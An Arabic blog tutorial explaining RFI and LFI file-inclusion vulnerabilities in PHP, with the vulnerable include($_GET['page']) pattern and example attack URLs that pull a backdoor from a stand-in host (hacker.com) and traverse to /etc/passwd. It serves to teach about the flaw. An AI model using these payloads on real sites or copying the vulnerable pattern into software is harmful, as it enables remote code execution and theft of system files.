Language:

Search

ثغرة RFI و LFI -شرح مفصل-

  • Share this:
ثغرة RFI و LFI -شرح مفصل-
تعريف وتقديم:

 
بداية لن نقوم بالغوص في أعماق الأنترنت للتعرف على مفهوم ثغرة RFI و LFI سنقوم فقط بتحليل بسيط و منهجي لإسم الثغرة -الأسماء كثيرا ما تحمل الإجابة - ، و الذي يعني تضمين أو استدعاء ملف محلي (Local File Include) أي ملف يوجد بالسيرفر أو تضمين ملف عن بعد (Remote File Include) أي ملف يوجد بسيرفر اخر خارجي .

 
وطبعا الأغراض من هذه الهجمات و استغلال هذا النوع من الثغرات يختلف مع اختلاف أهداف الهاكرز و كذلك باختلاف نوع الثغرة حيث :

 
ثغرة LFI :
 
  • دخول و معاينة الملفات الحساسة الموجود بسيرفر الضحية.
  • تفعيل سكريبت موجود بالسيرفر .
ثغرة RFI :
 
  • تفعيب سكريبت موجود بسيرفر خارجي يكون من برمجة الهاكر لأغراض عديدة.
  • القيام بهجوم حجب الخدمة DOS .
طبعا هذا النوع من الثغرات ليس منتشرا بشكل كبير إذا قارناه ب SQL Injection مثلا ، لكن يبقى من الثغرات التي يمكن أن تصادفها في تصفحك و بحثك لذلك وجب عليك دراستها و أخد معلومات كافية عنها، أو اعتبارها من كلاسيكيات الهاكينغ فكما هناك من يعشق شراء السيارات ذات طراز قديم وكلاسيكي هناك هواة الثغرات الكلاسيكية.
قمت ببحث عن أكثر الثغرات استعمالا حسب OWASP و اخر ضهور لهذه الثغرة كانت بسنة 2007 ما يؤكد مقولتي بأنها من كلاسيكيات الهاكرز.

 
يجب أن تعلم أن وجود ثغرة RFI أو LFI بـتطبيق ويب له أسباب جدرية غير الخطأ في البرمجة و هذه الأسباب مرتبطة بخاصيات php و تحديد بملف php.ini و هذا موضوع للفقرة التالية .

 
خاصيات PHP :

 

 
هذه الخاصية إن أخدت قيمة "َ1" أو ON تمكنك من استدعاء لبيانات أو ملفات خارجية ، و يتم تعطيلها بالقيمة "0". وهذا هو الخطأ الذي يظهر في حال استعمالها و هي غير مفعلة :

 
“Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_fopen=0” […]]“

 

 
هذه الخاصية إن أخدت قيمة "َ1" أو ON تمكنك من تضمين بيانات خارجية ، و يتم تعطيلها بالقيمة "0". وهذا هو الخطأ الذي يظهر في حال استعمالها و هي غير مفعلة :

 
“Warning: include(): php:// wrapper is disabled in the server configuration by allow_url_include=0 in […]]“
سيناريو الثغرة و اكتشافها :
 
يمكنك اكتشاف أن الموقع مصاب بالثغرة من خلال رابط على هذا الشكل :

 
http://donhackingaricles.com/index.php?page=article

 
أي يمكن أن نقوم بتغيير article بموقع به سكريبت خاص بنا :

 
http://donhackingarticles.com/index.php?page=http://hacker.com/script.php

 
وخطأ البرمجة هو كالتالي :
 
<?php
include($_GET['page']);
?>
استعمال get يعني أن يقوم باستلام أي ملف يتلقاه بالمتغير page .

 

 
سينــــــاريو 
 
 
الان لنفهم بشكل أوضح الثغرة سنقوم بعرض سيناريو مبسط ، لنعتبر أننا نتوفر على موقع http://donhackingarticles.com مثلا ، و هذا الموقع يتوفر على 3 فئات hacking و Security و ِContact ، وهذه الفئات يتم التحكم فيها عن طريق الملفات hacking.php ، Securtiy.php و Contact.php .

 
و باستعمال Include يمكن استدعاء الصفحات الثلاث عن طريق الرابط :

 
http://donhackingarticles.com?page=contact
http://donhackingarticles.com?page=hacking
http://donhackingarticles.com?page=security

 
وطبعا الكود المستعمل يأخد فيه المتغير Page القيمة التي يتلقاها من المستعمل :

 
<?php
  include(“$_GET[‘page’].php”);
?>
اي مكن استغلاله عن طريق ثغرة RFI و استدعاء سكريبت من موقع خاص بالهاكر على الشكل التالي :
http://donhackingarticles.com?page=http://hacker.com/backdoor.php

 
أو استغلاله عن طريق ثغرة LFI و استدعاء ملف حساس من سيرفر الضحية :

 
http://donhackingarticles.com?page=../../../etc/passwd
 
ويمكن أن تقوم بتضمين سكريبت به ثغرة XSS ليتم تفعيله بمتصفح الزائر وهذا أخطر شيء.

 
نهاية
مدونة سمايلي

مدونة سمايلي

مرحباً بكم في مدونة "سمايلي"، حيث نهدف إلى تقديم كل ما هو جديد ومفيد في عالم البرمجة والتكنولوجيا. سواء كنت مبتدئاً أو محترفاً، ستجد هنا محتوى مخصص لك لتطوير مهاراتك وتحقيق أهدافك التقنية.